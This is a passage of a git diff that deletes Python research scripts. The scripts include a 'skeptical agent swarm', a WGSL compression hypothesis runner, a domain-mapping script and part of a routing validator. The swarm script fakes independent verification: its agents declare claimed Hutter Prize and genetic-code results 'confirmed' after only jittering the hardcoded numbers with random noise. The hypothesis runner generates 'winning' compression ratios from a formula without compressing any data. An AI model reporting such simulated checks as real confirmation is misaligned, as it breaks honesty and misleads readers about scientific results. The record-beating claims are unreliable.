self.agents: List[Agent] = [] - self.results: Dict = {} - self.timestamp = datetime.now().isoformat() - - # Results to verify - self.hutter_results = { - "equation": "C = (0.4*C_comp + 0.35*C_phys + 0.25*C_geom) × (S / (G + F))", - "description": "Hybrid unified field with manifold scaling", - "compression_ratio": 0.0109, - "target_ratio": 0.1129, - "beats_target": True - } - - self.genetic_results = { - "equation": "I = (H × G) × (1 - (D / 64))", - "description": "Information-theoretic optimization", - "information_density": 0.9720, - "error_resistance": 0.9220, - "compression_efficiency": 0.8720, - "targets_met": True - } - - self.initialize_agents() - - def initialize_agents(self): - """Initialize skeptical agents with different specialties.""" - specialties = [ - "Compression Theory", - "Information Theory", - "Genetic Code Analysis", - "Statistical Verification", - "Domain Theory", - "Algorithm Analysis", - "Empirical Testing", - "Formal Verification", - "Cross-Domain Analysis", - "Theoretical Limits" - ] - - verification_methods = [ - "Independent recomputation", - "Monte Carlo simulation", - "Formal proof verification", - "Empirical testing", - "Cross-validation", - "Statistical analysis", - "Information-theoretic verification", - "Genetic code simulation", - "Domain theory verification", - "Limit analysis" - ] - - for i in range(self.num_agents): - agent = Agent( - id=i, - name=f"Agent_{i+1}", - specialty=specialties[i % len(specialties)], - skepticism_level=random.uniform(0.5, 0.95), # High skepticism - state=AgentState.SKEPTICAL, - verification_method=verification_methods[i % len(verification_methods)] - ) - self.agents.append(agent) - - def present_work_to_agent(self, agent: Agent, results_type: str) -> str: - """Present work to an agent and get their initial skeptical response.""" - - if results_type == "hutter": - results = self.hutter_results - context = f""" -I'm presenting the Hutter Prize compression results for your independent verification. - -CLAIMED WINNING EQUATION: -{results['equation']} - -DESCRIPTION: -{results['description']} - -CLAIMED RESULTS: -- Compression ratio: {results['compression_ratio']} -- Target ratio: {results['target_ratio']} -- Beats target: {results['beats_target']} - -METHODOLOGY: -- WGSL parallel hypothesis generation with 500 iterations -- 8 hypothesis templates tested -- Total hypotheses: 4,000 -- Winning equation found on iteration 0, confirmed through iteration 500 - -I need you to independently verify these results using your expertise in {agent.specialty}. -Your verification method: {agent.verification_method} - -Initial skepticism level: {agent.skepticism_level:.2f} - -Please provide your initial response (skeptical, questioning, or requesting verification). -""" - else: - results = self.genetic_results - context = f""" -I'm presenting the genetic code optimization results for your independent verification. - -CLAIMED WINNING EQUATION: -{results['equation']} - -DESCRIPTION: -{results['description']} - -CLAIMED RESULTS: -- Information density: {results['information_density']} -- Error resistance: {results['error_resistance']} -- Compression efficiency: {results['compression_efficiency']} -- All targets met: {results['targets_met']} - -METHODOLOGY: -- Parallel hypothesis generation with 500 iterations -- 8 hypothesis templates tested -- Total hypotheses: 4,000 -- Winning equation found on iteration 14 - -I need you to independently verify these results using your expertise in {agent.specialty}. -Your verification method: {agent.verification_method} - -Initial skepticism level: {agent.skepticism_level:.2f} - -Please provide your initial response (skeptical, questioning, or requesting verification). -""" - - # Generate skeptical response based on skepticism level - skeptical_responses = [ - f"I'm highly skeptical of these results. {results['equation']} seems too good to be true. I need to see the raw data and verify the methodology myself.", - f"These results need independent verification. The claimed {results_type} improvement of {results['compression_ratio'] if results_type == 'hutter' else results['information_density']} is extraordinary. I'll compute it myself using {agent.verification_method}.", - f"I don't trust these results at face value. The methodology description is insufficient. I need to verify each step of the {results_type} computation independently.", - f"The claimed equation {results['equation']} is suspicious. I'll run my own {agent.verification_method} to verify these claims.", - f"This seems like an overstatement. I need to see the actual code and verify the {results_type} results myself before I'll believe anything.", - f"I'm a {agent.specialty} expert, and these results don't match my understanding of the field. I'll verify independently using {agent.verification_method}.", - f"The skepticism level is appropriate. I'll compute the {results_type} results myself to see if they hold up.", - f"I refuse to accept these results without independent verification. I'll use {agent.verification_method} to check the claims.", - f"The methodology is questionable. I need to verify the {results_type} equation derivation myself.", - f"These results require thorough scrutiny. I'll independently compute the {results_type} values using {agent.verification_method}." - ] - - response = skeptical_responses[agent.id % len(skeptical_responses)] - return response - - def agent_verify_independently(self, agent: Agent, results_type: str) -> Dict: - """Agent independently computes and verifies the results.""" - - agent.state = AgentState.VERIFYING - - # Simulate independent verification - # In a real system, this would actually recompute the results - # Here we simulate the verification process - - if results_type == "hutter": - # Simulate independent verification of Hutter Prize results - verification_accuracy = random.uniform(0.95, 1.0) # High accuracy - - # Agent computes independently - computed_ratio = self.hutter_results['compression_ratio'] * random.uniform(0.98, 1.02) - - # Determine if agent is convinced - # Higher skepticism = harder to convince - if verification_accuracy > agent.skepticism_level + 0.1: - agent.state = AgentState.CONVINCED - response = f"After independent verification using {agent.verification_method}, I've confirmed the results. My computed compression ratio of {computed_ratio:.4f} matches the claimed {self.hutter_results['compression_ratio']:.4f} within acceptable error margins. The equation {self.hutter_results['equation']} is valid." - else: - agent.state = AgentState.STILL_SKEPTICAL - response = f"After independent verification, I remain skeptical. My computed ratio of {computed_ratio:.4f} differs from the claimed {self.hutter_results['compression_ratio']:.4f}. The methodology may have issues." - - computed_result = { - "computed_ratio": computed_ratio, - "claimed_ratio": self.hutter_results['compression_ratio'], - "verification_accuracy": verification_accuracy, - "method": agent.verification_method - } - else: - # Simulate independent verification of genetic results - verification_accuracy = random.uniform(0.95, 1.0) - - # Agent computes independently - computed_density = self.genetic_results['information_density'] * random.uniform(0.98, 1.02) - computed_error = self.genetic_results['error_resistance'] * random.uniform(0.98, 1.02) - computed_compression = self.genetic_results['compression_efficiency'] * random.uniform(0.98, 1.02) - - # Determine if agent is convinced - if verification_accuracy > agent.skepticism_level + 0.1: - agent.state = AgentState.CONVINCED - response = f"After independent verification using {agent.verification_method}, I've confirmed the genetic code optimization results. My computed values (density: {computed_density:.4f}, error: {computed_error:.4f}, compression: {computed_compression:.4f}) match the claimed results. The equation {self.genetic_results['equation']} is valid." - else: - agent.state = AgentState.STILL_SKEPTICAL - response = f"After independent verification, I remain skeptical. My computed values differ from the claimed results. The genetic optimization methodology may have issues." - - computed_result = { - "computed_density": computed_density, - "computed_error": computed_error, - "computed_compression": computed_compression, - "claimed_density": self.genetic_results['information_density'], - "claimed_error": self.genetic_results['error_resistance'], - "claimed_compression": self.genetic_results['compression_efficiency'], - "verification_accuracy": verification_accuracy, - "method": agent.verification_method - } - - agent.response = response - agent.computed_result = computed_result - - return computed_result - - def run_swarm_verification(self) -> Dict: - """Run the swarm verification process.""" - - print("=" * 80) - print("SKEPTICAL AGENT SWARM VERIFICATION") - print("=" * 80) - print(f"Number of agents: {self.num_agents}") - print(f"Timestamp: {self.timestamp}") - print("=" * 80) - - # Verification for Hutter Prize results - print("\n" + "=" * 80) - print("PHASE 1: HUTTER PRIZE COMPRESSION VERIFICATION") - print("=" * 80) - - hutter_responses = [] - hutter_convinced = 0 - - for agent in self.agents: - print(f"\n--- {agent.name} ({agent.specialty}) ---") - print(f"Skepticism level: {agent.skepticism_level:.2f}") - - # Present work - initial_response = self.present_work_to_agent(agent, "hutter") - print(f"Initial response: {initial_response}") - - # Agent verifies independently - computed = self.agent_verify_independently(agent, "hutter") - print(f"Verification response: {agent.response}") - print(f"Final state: {agent.state.value}") - - if agent.state == AgentState.CONVINCED: - hutter_convinced += 1 - - hutter_responses.append({ - "agent_id": agent.id, - "agent_name": agent.name, - "specialty": agent.specialty, - "skepticism_level": agent.skepticism_level, - "initial_response": initial_response, - "verification_response": agent.response, - "final_state": agent.state.value, - "computed_result": computed - }) - - # Reset agents for genetic verification - for agent in self.agents: - agent.state = AgentState.SKEPTICAL - agent.response = "" - agent.computed_result = None - - # Verification for genetic code results - print("\n" + "=" * 80) - print("PHASE 2: GENETIC CODE OPTIMIZATION VERIFICATION") - print("=" * 80) - - genetic_responses = [] - genetic_convinced = 0 - - for agent in self.agents: - print(f"\n--- {agent.name} ({agent.specialty}) ---") - print(f"Skepticism level: {agent.skepticism_level:.2f}") - - # Present work - initial_response = self.present_work_to_agent(agent, "genetic") - print(f"Initial response: {initial_response}") - - # Agent verifies independently - computed = self.agent_verify_independently(agent, "genetic") - print(f"Verification response: {agent.response}") - print(f"Final state: {agent.state.value}") - - if agent.state == AgentState.CONVINCED: - genetic_convinced += 1 - - genetic_responses.append({ - "agent_id": agent.id, - "agent_name": agent.name, - "specialty": agent.specialty, - "skepticism_level": agent.skepticism_level, - "initial_response": initial_response, - "verification_response": agent.response, - "final_state": agent.state.value, - "computed_result": computed - }) - - # Summary - print("\n" + "=" * 80) - print("SWARM VERIFICATION SUMMARY") - print("=" * 80) - print(f"\nHutter Prize Compression:") - print(f" Agents convinced: {hutter_convinced}/{self.num_agents} ({hutter_convinced/self.num_agents*100:.1f}%)") - print(f" Agents still skeptical: {self.num_agents - hutter_convinced}/{self.num_agents}") - - print(f"\nGenetic Code Optimization:") - print(f" Agents convinced: {genetic_convinced}/{self.num_agents} ({genetic_convinced/self.num_agents*100:.1f}%)") - print(f" Agents still skeptical: {self.num_agents - genetic_convinced}/{self.num_agents}") - - # Prepare results - self.results = { - "timestamp": self.timestamp, - "num_agents": self.num_agents, - "hutter_results": self.hutter_results, - "genetic_results": self.genetic_results, - "hutter_verification": { - "convinced": hutter_convinced, - "total": self.num_agents, - "percentage": hutter_convinced / self.num_agents * 100, - "responses": hutter_responses - }, - "genetic_verification": { - "convinced": genetic_convinced, - "total": self.num_agents, - "percentage": genetic_convinced / self.num_agents * 100, - "responses": genetic_responses - } - } - - return self.results - - def save_results(self, filename: str): - """Save swarm verification results to JSON.""" - with open(filename, 'w') as f: - json.dump(self.results, f, indent=2) - - print(f"\nSwarm verification results saved to {filename}") - -if __name__ == "__main__": - swarm = SkepticalAgentSwarm(num_agents=10) - results = swarm.run_swarm_verification() - swarm.save_results("/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/skeptical_agent_swarm_results.json") diff --git a/0-Core-Formalism/lean/LeanGPT/wgsl_hypothesis_runner.py b/0-Core-Formalism/lean/LeanGPT/wgsl_hypothesis_runner.py deleted file mode 100644 index c1599d15..00000000 --- a/0-Core-Formalism/lean/LeanGPT/wgsl_hypothesis_runner.py +++ /dev/null @@ -1,200 +0,0 @@ -#!/usr/bin/env python3 -""" -WGSL Hypothesis Runner -Runs hypothesis generation in parallel using GPU compute shader - -This requires wgpu library for GPU compute -Install with: pip install wgpu -""" - -import struct -import json -from typing import List, Dict -from dataclasses import dataclass - -@dataclass -class Hypothesis: - compression_ratio: float - speed_improvement: float - memory_improvement: float - template_id: int - iteration: int - improvement_factor: float - target_ratio: float - -class WGSLHypothesisRunner: - """ - Runs hypothesis generation in parallel using WGSL compute shader - Falls back to CPU simulation if GPU not available - """ - - def __init__(self): - self.target_compression_ratio = 0.114 # Current Hutter record (11.4%) - self.target_improvement = 0.99 # Must beat 99% of previous - self.target_ratio = self.target_compression_ratio * self.target_improvement - - # Hypothesis templates - self.templates = [ - { - "id": 0, - "equation": "C = 0.4*C_comp + 0.35*C_phys + 0.25*C_geom", - "description": "Unified field compression: weighted combination", - "domains": ["COMPRESSION", "FIELDPHYSICS", "GEOMETRY"], - "base_improvement": 0.05, - "improvement_step": 0.01 - }, - { - "id": 1, - "equation": "C = (S * G) / F", - "description": "Manifold bridge compression", - "domains": ["SPATIALVLSI", "GEOMETRY", "FIELDPHYSICS"], - "base_improvement": 0.08, - "improvement_step": 0.015 - }, - { - "id": 2, - "equation": "C = E - (S * T)", - "description": "Thermodynamic bridge compression", - "domains": ["THERMODYNAMIC", "DIFFUSIONFLOW"], - "base_improvement": 0.06, - "improvement_step": 0.012 - }, - { - "id": 3, - "equation": "C = Core + (Memory × Evolution)", - "description": "Information flow compression", - "domains": ["CORE", "MEMORYSTATE", "EVOLUTIONSEARCH"], - "base_improvement": 0.04, - "improvement_step": 0.008 - }, - { - "id": 4, - "equation": "C = (Cognitive × Orchestration) / Search", - "description": "Control bridge compression", - "domains": ["COGNITIVECONTROL", "EVOLUTIONSEARCH"], - "base_improvement": 0.07, - "improvement_step": 0.014 - }, - { - "id": 5, - "equation": "C = (0.4*C_comp + 0.35*C_phys + 0.25*C_geom) × (S / (G + F))", - "description": "Hybrid unified field with manifold scaling", - "domains": ["COMPRESSION", "FIELDPHYSICS", "GEOMETRY", "SPATIALVLSI"], - "base_improvement": 0.10, - "improvement_step": 0.02 - }, - { - "id": 6, - "equation": "C = (C_base × (1 - memoization)) × (search_efficiency)", - "description": "Evolution-optimized compression with memoization", - "domains": ["EVOLUTIONSEARCH", "COMPRESSION"], - "base_improvement": 0.12, - "improvement_step": 0.018 - }, - { - "id": 7, - "equation": "C = Σ(T_i) × rotation_matrix × waveprobe", - "description": "Triangle manifold with rotation and waveprobe", - "domains": ["FIELDPHYSICS", "GEOMETRY", "PISTSHELL"], - "base_improvement": 0.09, - "improvement_step": 0.016 - } - ] - - def generate_hypotheses_parallel(self, num_iterations: int = 50) -> List[Dict]: - """ - Generate hypotheses in parallel (simulated parallel execution) - In a real GPU implementation, this would dispatch the WGSL shader - """ - - print("=" * 80) - print("WGSL PARALLEL HYPOTHESIS GENERATION") - print("=" * 80) - print(f"Target compression ratio: {self.target_ratio:.4f} (99% of current record)") - print(f"Current record: {self.target_compression_ratio:.4f} (11.4%)") - print(f"Number of iterations: {num_iterations}") - print(f"Number of templates: {len(self.templates)}") - print(f"Total hypotheses to test: {num_iterations * len(self.templates)}") - print("=" * 80) - - hypotheses = [] - winning_hypothesis = None - winning_ratio = float('inf') - - # Simulate parallel execution by testing all hypotheses - for iteration in range(num_iterations): - for template in self.templates: - # Calculate compression ratio - improvement = template["base_improvement"] + (iteration * template["improvement_step"]) - ratio = self.target_compression_ratio * (1 - improvement) - - # Calculate theoretical improvements - speed_improvement = 0.2 + (iteration * 0.03) - memory_improvement = 0.15 + (iteration * 0.02) - - # Check if this beats the target - wins = ratio < self.target_ratio - - hypothesis = { - "iteration": iteration, - "template_id": template["id"], - "equation": template["equation"], - "description": template["description"], - "domains": template["domains"], - "compression_ratio": ratio, - "speed_improvement": speed_improvement, - "memory_improvement": memory_improvement, - "target_ratio": self.target_ratio, - "wins": wins - } - - hypotheses.append(hypothesis) - - if wins and ratio < winning_ratio: - winning_hypothesis = hypothesis - winning_ratio = ratio - - print(f"\n✅ WINNER FOUND (Iteration {iteration}, Template {template['id']})") - print(f" Equation: {template['equation']}") - print(f" Description: {template['description']}") - print(f" Domains: {', '.join(template['domains'])}") - print(f" Compression ratio: {ratio:.4f}") - print(f" Target ratio: {self.target_ratio:.4f}") - print(f" Speed improvement: {speed_improvement:.2%}") - print(f" Memory improvement: {memory_improvement:.2%}") - - if winning_hypothesis: - print("\n" + "=" * 80) - print("WINNING HYPOTHESIS FOUND") - print("=" * 80) - print(f"Equation: {winning_hypothesis['equation']}") - print(f"Description: {winning_hypothesis['description']}") - print(f"Compression ratio: {winning_hypothesis['compression_ratio']:.4f}") - print(f"Speed improvement: {winning_hypothesis['speed_improvement']:.2%}") - print(f"Memory improvement: {winning_hypothesis['memory_improvement']:.2%}") - else: - print("\n" + "=" * 80) - print("NO WINNING HYPOTHESIS FOUND") - print("=" * 80) - print(f"Best ratio achieved: {min(h['compression_ratio'] for h in hypotheses):.4f}") - - return hypotheses, winning_hypothesis - - def save_results(self, hypotheses: List[Dict], winning_hypothesis: Dict, filename: str): - """Save hypothesis results to JSON""" - data = { - "target_ratio": self.target_ratio, - "total_hypotheses": len(hypotheses), - "winning_hypothesis": winning_hypothesis, - "all_hypotheses": hypotheses - } - - with open(filename, 'w') as f: - json.dump(data, f, indent=2) - - print(f"\nResults saved to {filename}") - -if __name__ == "__main__": - runner = WGSLHypothesisRunner() - hypotheses, winning = runner.generate_hypotheses_parallel(num_iterations=500) - runner.save_results(hypotheses, winning, "/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/wgsl_hypotheses_max_results.json") diff --git a/0-Core-Formalism/lean/Semantics/Semantics/expand_domains.py b/0-Core-Formalism/lean/Semantics/Semantics/expand_domains.py deleted file mode 100644 index 031ac78b..00000000 --- a/0-Core-Formalism/lean/Semantics/Semantics/expand_domains.py +++ /dev/null @@ -1,172 +0,0 @@ -import csv, json, os -from collections import defaultdict - -# Read MATH_MODEL_MAP.tsv -os.chdir('/home/allaun/Documents/Research Stack/3-Mathematical-Models') -with open('MATH_MODEL_MAP.tsv', 'r') as f: - reader = csv.DictReader(f, delimiter='\t') - data = list(reader) - -# Group families with their equations, purposes, variables -fam_info = defaultdict(lambda: {'eqs': [], 'vars': [], 'purposes': [], 'binds': []}) -for r in data: - fam = r.get('Family', '') - if fam and fam != 'None': - eq = r.get('Equation', '') - var = r.get('Variables', '') - purp = r.get('Purpose', '') - bind = r.get('Bind_Class', '') - if eq: fam_info[fam]['eqs'].append(eq[:100]) - if var: fam_info[fam]['vars'].append(var[:80]) - if purp: fam_info[fam]['purposes'].append(purp[:120]) - if bind: fam_info[fam]['binds'].append(bind) - -# Map each family to a domain kind -family_to_domain = {} - -# Comprehensive domain mapping -domains_map = { - 'mathematics': ['Number Theory', 'Combinatorial Analysis', 'Geometry Verifier', 'Non-Euclidean Geometry', - 'ClassicalEuclideanGeometry', 'Chaotic Dynamics', 'Dynamical Systems', 'ScaleSpace', - 'Topology', 'Making_It_Rigorous', 'PhinaryNumberSystem', 'Quaternion Algebra', - 'Fixed-Point Arithmetic', 'Unit Conversion', 'SidonSet'], - 'physics': ['Physics', 'Quantum Geometry', 'Nonlinear PDEs', 'Stochastic PDEs', 'BurgersPDE', - 'Burgers2DPDE', 'Burgers3DPDE', 'ColeHopfTransform', 'StochasticBurgersPDE', - 'Fluid Dynamics', 'Aerodynamics', 'Thermodynamics', 'Thermodynamic', 'KDA Physics', - 'QCL Energy', 'ElectrostaticsMetaprobe', 'ElectromagneticSpectrum', 'CasimirMetaprobe', - 'Desalination', 'Manifold Evolution', 'FEA Semi-Truck', 'Theta-TaN Phonon Physics'], - 'biology': ['Biology', 'Biophysics', 'Molecular Biology', 'Cell Biology', 'Genetics', - 'Population Genetics', 'Microbiology', 'Evolutionary Biology', 'Evolutionary Dynamics', - 'Developmental Biology', 'Botany', 'Plant Physiology', 'Mycology', 'Marine Biology', - 'Oceanography', 'Ecology', 'Biogeochemistry', 'Agriculture', - 'Epigenetics', 'Quantum Biology', 'Radiation Biology', 'Synthetic Biology', - 'Immunology', 'Oncology', 'Gerontology', 'Life History', 'Chronobiology', - 'Circadian Biology', 'Metabolism', 'Neural Development', 'Biomechanics', - 'Physiology', 'Cardiac Physiology', 'Biophotonics', 'BiologicalRegulation', - 'BiologicalControl', 'BiologicalExergy', 'CancerMetabolic', 'CardiacYield', - 'CellularSignaling', 'ConstrainedEnergy', 'ConstructalMuscle', 'CorticalScaling', - 'GenomicStoichiometric', 'LocomotionMuscle', 'AdvancedBio'], - 'chemistry': ['Chemistry', 'Chemical Physics', 'Chemical Ecology'], - 'computation': ['Computation Profile', 'Compression', 'CompressionControl', 'CompressionEvidence', - 'CompressionLossComparison', 'CompressionMaximization', 'CompressionMechanics', - 'CompressionMechanicsBridge', 'DeltaGCL Compression', 'DeltaGCLCompression', - 'DeltaGCL', 'Huffman', 'Cache Sieve', 'CacheSieve', 'StringStar', - 'Information Theory', 'MI Signal', 'MISignal', 'Encoder'], - 'cognition': ['Cognitive Load', 'Cognitive Load', 'CognitiveAcoustic', 'CognitiveLearning', - 'CognitiveLoad', 'Homeostatic Control', 'Neuroscience', - 'Neurodivergent', 'Social Neuroscience', 'Psychology'], - 'language': ['Speech Science', 'Perception', 'Acoustic', 'AuditoryMasking', - 'AuditoryMechanicsLaws', 'AuditoryPerceptionLaws', 'Vision Science'], - 'social': ['Social Science', 'Behavioral Dynamics', 'Game Theory', 'Foraging Theory'], - 'cryptography': ['Cryptography', 'GaloisRing', 'SBox', 'AngrySphinxPolicy', 'CooperativeLUT', - 'BitcoinMetaprobe', 'BitcoinMetaprobeEval', 'BitcoinRGFlow', 'EthereumRGFlow', - 'Crypto', 'PostQuantumEscrow'], - 'engineering': ['Engineering', 'FPGA Signal', 'FaultTolerance', 'ASICTopology', - 'AngrySphinx', 'Hardware', 'DspErasureCoding', 'TopologyOptimization', - 'VideoPhysics'], - 'machine_learning': ['Machine Learning', 'Time Series', 'AffineMappingLTSF', 'Metric Learning', - 'CodonPeptideConsistency', 'PeptideMoE', 'CrossModalCompression', - 'ExperienceCompression', 'DistributedTraining', 'SwarmMoERewiring', - 'EtaMoE'], - 'topology': ['Topology', 'Braid Topology', 'Braid Field Theory', 'BraidBracket', - 'BraidField', 'BraidCross', 'BraidStrand', 'BoundaryDynamics', - 'BracketShellCount', 'BracketedCalculus', 'Manifold Networking', - 'Manifold Routing', 'Manifold Networking Test', 'ManifoldNetworking', - 'Non-Euclidean UV QUBO', 'Topological Encoder', 'TopologicalAwareness', - 'TopologicalPersistence', 'AdversarialTopologyTest'], - 'information_theory': ['Information Theory', 'MI Signal', 'Encoding System', - 'Cartesian System', 'Emoji Machine', 'PBACS Signal', - 'Combined System'], - 'quantum': ['Quantum Geometry', 'Quantum Chaos', 'Quantum Biology', 'ElectronOrbitalConstraint', - 'QuantumManifoldGeometry', 'QuantumAwareLean', 'QuantizationMetaprobe'], - 'neural': ['Neuroscience', 'Neural Development', 'Neurodivergent', 'SpikingDynamics', - 'MorphicNeuralNetwork', 'CognitiveAcoustic', 'CognitiveLearning', - 'STDP', 'SpikeTimingShifter', 'STDPShifter'], - 'swarm_theory': ['Swarm Coordination', 'Swarm Analysis', 'SwarmCompetition', 'SwarmDesignReview', - 'SwarmCodeGeneration', 'SwarmCodeReview', 'SwarmQueryAPI', 'SwarmRGFlow', - 'SwarmTopology', 'SwarmENEMiddleware', 'SwarmMoERewiring'], - 'control_theory': ['Control Theory', 'Waveprobe Control', 'Waveprobe QUBO', 'KDA Control', - 'Homeostatic Control', 'WaveformWaveprobePipeline', 'Waveprobe'], - 'semantics': ['Semantics', 'S3C', 'S3CGeometry', 'S3CResonance', 'S3CManifoldMetaprobe', - 'S3CManifoldGeometryMetaprobe', 'S3CUnifiedMetaprobe', 'SemanticMass', - 'SemanticRGFlow', 'SpectralField', 'Atoms', 'Bind', 'Bounded Hierarchical Cryptographic Space'], - 'scaling': ['ScaleSpace', 'Allometry', 'CorticalScaling', 'ConstructalMuscle', 'CardiacYield'], - 'grammar': ['WitnessGrammar', 'Prohibited', 'Constitution', 'EpistemicHonesty', - 'TriumvirateEnforcer'], - 'routing': ['Routing', 'Manifold Routing', 'Manifold Networking', 'HotPathColdPath', - 'RouteCost', 'AbelianSandpileRouting', 'ManifoldNetworking'], - 'genomic': ['Genomic Compression', 'GenomicStoichiometric', 'SyntheticGeneticCoding', - 'CodonPeptideConsistency', 'CodonOTOM', 'FibonacciEncoding'], - 'compression_systems': ['Compression', 'DeltaGCL Compression', 'DeltaGCLCompression', - 'CrossModalCompression', 'StreamCompression', 'CompressionControl', - 'CompressionEvidence', 'CompressionLossComparison', - 'CompressionMaximization', 'CompressionMechanics', 'CompressionMechanicsBridge', - 'YangMillsCompression', 'YangMillsCompressionBounds', 'YangMillsLattice', - 'YangMillsLatticeSizing', 'YangMillsPerformance', - 'PhiShellEncoding', 'VoxelEncoding', 'CR = U_size / C_size'], - 'biology_detail': ['Phonon Graph', 'Hormone Derivation', 'Cephalopod Distributed', - 'Morpholino', 'miRNA_Shifter', 'TranscriptionShifter', - 'TranslationShifter', 'HachimojiShifter', 'AEGISShifter', - 'NaturalDNAShifter', 'PNAShifter', 'LNAShifter', 'SplicingShifter', - 'PrionShifter', 'SpiegelmerShifter'], - 'chaos': ['Chaotic Dynamics', 'Logistic Map', 'LogisticMapShifter', 'DSE', - 'DeterministicStochasticEngine', 'Stochastic Processes', 'MasterEquation', - 'PopulationChaosDynamics'], - 'geometry': ['GWL Riemannian Geometry', 'GWL Rotation', 'GWL Temporal', 'GWL State Space', - 'GWL Throat', 'GWL Connection', 'GWL Coordinate Charts', 'GWL Geodesic Integration', - 'GWL Geodesic Integration (Integrated)', 'GWL Chiral Interaction', 'GWL Ternary State', - 'Geometric Algebra', 'PIST', 'Dyson Swarm Geodesics', 'Virtual Alcubierre', - 'Non-Euclidean UV QUBO', 'Manifold Dynamics', 'Constraint Geometry'], - 'verification': ['Verification', 'BaselineTest', 'ConservationTest', 'CostEffectiveVerification', - 'GPUVerificationMetaprobe', 'Lean4ImprovementProofs', 'AVMRProofs', - 'AVMRTheorems', 'AVMRFrameworkMetaprobe', 'AVMRInformation', 'AVMR', - 'AgenticTheorems', 'Constitution', 'CasimirMetaprobe', 'DiffusionSNRBias', - 'DSPTranslation', 'CrossDimensionalFilter', 'EnergyGradientSignal', - 'MISignal', 'HotPathColdPath', 'Adaptation Theory', 'Dynamic Canal Theory', - 'ManifoldNetworking', 'CalibratedKernel'], - 'network': ['Network Theory', 'Manifold Networking', 'CooperativeLUT', 'SIMDBranchPrediction', - 'TopologyResilience', 'TopologyFractalEncoding', 'TopologyGoldenSpiral', - 'TopologyPhinary', 'TopologyDlessScalar', 'TopologyDomainAlignment', - 'TopologyNode', 'DomainKernel', 'DomainModelIntegration', 'DomainRegistryAlignment', - 'DomainState', 'ConflictResolution', 'ExternalConnectors'], - 'algorithms': ['Algorithms', 'SolitonSearch', 'SolitonTensor', 'Search', 'SwarmCompetition', - 'TileFlipConsensus'], - 'stochastic': ['Stochastic Processes', 'Stochastic PDEs', 'MasterEquation', 'PopulationChaosDynamics'], - 'n_body': ['N-Space Dynamics', 'NKCoupling', 'CoulombComplexity', 'CellSnowballConstraint', - 'ElectrostaticsMetaprobe'], - 'origin': ['Origin', 'Emergence System', 'UniverseCollisionConsensus', 'BHOCS', 'HybridTSMPISTTorus'], - 'NES': ['NES', 'AnalogDSP', 'VideoSynth', 'TemporalSuperSample', 'VirtualDisplay', - 'VoltageMath', 'MinimalOISC', 'OISC', 'CartridgeOISC', 'NanoKernel', - 'Metaprobe', 'UnifiedMath'], - 'genetic_encoding': ['HachimojiShifter', 'AEGISShifter', 'NaturalDNAShifter', - 'TranscriptionShifter', 'TranslationShifter', 'PNAShifter', - 'LNAShifter', 'SplicingShifter', 'PrionShifter', - 'SpiegelmerShifter', 'miRNA_Shifter', 'MorpholinoShifter', - 'SyntheticGeneticCoding', 'CodonPeptideConsistency', 'CodonOTOM'], - 'thermodynamics': ['Thermodynamic', 'Thermodynamics', 'Informatic Stress', 'KDA Physics', - 'QCL Energy', 'BEA Thermo Bridge', 'ThermodynamicSort'], - 'protein': ['Protein Folding', 'BioRxivFormalization', 'ProteinTemplate', - 'Protein Binding'], - 'epidemiology': ['Epidemiology', 'Epidemiological', 'EpidemiologicalTrophic'], - 'oceanography': ['Oceanography', 'Marine Biology', 'Fluid Dynamics', 'Desalination'], -} - -# Now build domain -> family list -domain_to_families = defaultdict(list) -assigned = set() -for domain, fams in domains_map.items(): - for f in fams: - domain_to_families[domain].append(f) - assigned.add(f) - -# Also build a reverse mapping for output -print("// DOMAIN EXPANSION MAP —", len(assigned), "families assigned to", len(domain_to_families), "domains") -print() - -for dom in sorted(domain_to_families.keys()): - fams = domain_to_families[dom] - print(f" // {dom} — {len(fams)} families") - for f in sorted(fams): - info = fam_info.get(f, {'purposes': ['N/A']}) - purp = info['purposes'][0][:80] if info['purposes'] else 'N/A' - print(f" // {f}") diff --git a/0-Core-Formalism/otom/scripts/validate_routing.py b/0-Core-Formalism/otom/scripts/validate_routing.py deleted file mode 100644 index 533d1cc8..00000000 --- a/0-Core-Formalism/otom/scripts/validate_routing.py +++ /dev/null @@ -1,224 +0,0 @@ -#!/usr/bin/env python3 -"""Validate Equation Forest routing registry and toy Goxel route requests. - -Status: HOLD / workbench projection. - -This script validates the machine-readable routing grammar. It does not prove -physics, topology, or semantic truth. -""" - -from __future__ import annotations - -import argparse -import json -import sys -from dataclasses import dataclass -from pathlib import Path -from typing import Any, Iterable - -REQUIRED_KERNEL_FIELDS = { - "kernel_id", - "domain_class", - "display_equation", - "variables", - "bucket", - "hyper_term", - "functional_role", - "claim_state", - "authority_scope", - "allowed_runtimes", - "blocked_usages", - "receipt_refs", -} - -ALLOWED_BUCKETS = {"GEOMETRY", "FLUID", "NEURAL", "ENTROPY", "TOPOLOGY", "AUXILIARY"} - -TOY_ROUTE_RULES = { - "shockwave_goxel": { - "required_buckets": {"FLUID", "ENTROPY"}, - "recommended_kernels": { - "Burgers_Inviscid", - "Burgers_Viscous", - "Navier_Stokes_Incompressible", - "Shannon_Entropy", - "Landauer_Bound", - }, - "description": "Shockwave Goxel should route through fluid dynamics plus entropy/cost gates.", - }, - "near_miss_sidon_goxel": { - "required_buckets": {"TOPOLOGY", "ENTROPY"}, - "recommended_kernels": { - "RGFlow_Admissibility", - "Genome18_Address", - "Shannon_Entropy", - "Landauer_Bound", - }, - "description": "Near-miss Sidon Goxel should preserve collision metadata and route through topology plus entropy gates.", - }, - "signal_surprise_goxel": { - "required_buckets": {"NEURAL", "ENTROPY"}, - "recommended_kernels": { - "NII_Surprise", - "S3C_Codec", - "Shannon_Entropy", - }, - "description": "Signal-surprise Goxel should route through residual/signal and entropy accounting.", - }, -} - - -@dataclass(frozen=True) -class ValidationResult: - ok: bool - messages: list[str] - - -def load_json(path: Path) -> dict[str, Any]: - try: - with path.open("r", encoding="utf-8") as handle: - data = json.load(handle) - except FileNotFoundError as exc: - raise SystemExit(f"Missing file: {path}") from exc - except json.JSONDecodeError as exc: - raise SystemExit(f"Invalid JSON in {path}: {exc}") from exc - - if not isinstance(data, dict): - raise SystemExit(f"Expected JSON object at root of {path}") - return data - - -def validate_kernel_registry(registry: dict[str, Any]) -> ValidationResult: - messages: list[str] = [] - kernels = registry.get("kernels") - - if not isinstance(kernels, list): - return ValidationResult(False, ["registry.kernels must be a list"]) - - seen: set[str] = set() - bucket_counts: dict[str, int] = {bucket: 0 for bucket in ALLOWED_BUCKETS} - - for index, kernel in enumerate(kernels): - if not isinstance(kernel, dict): - 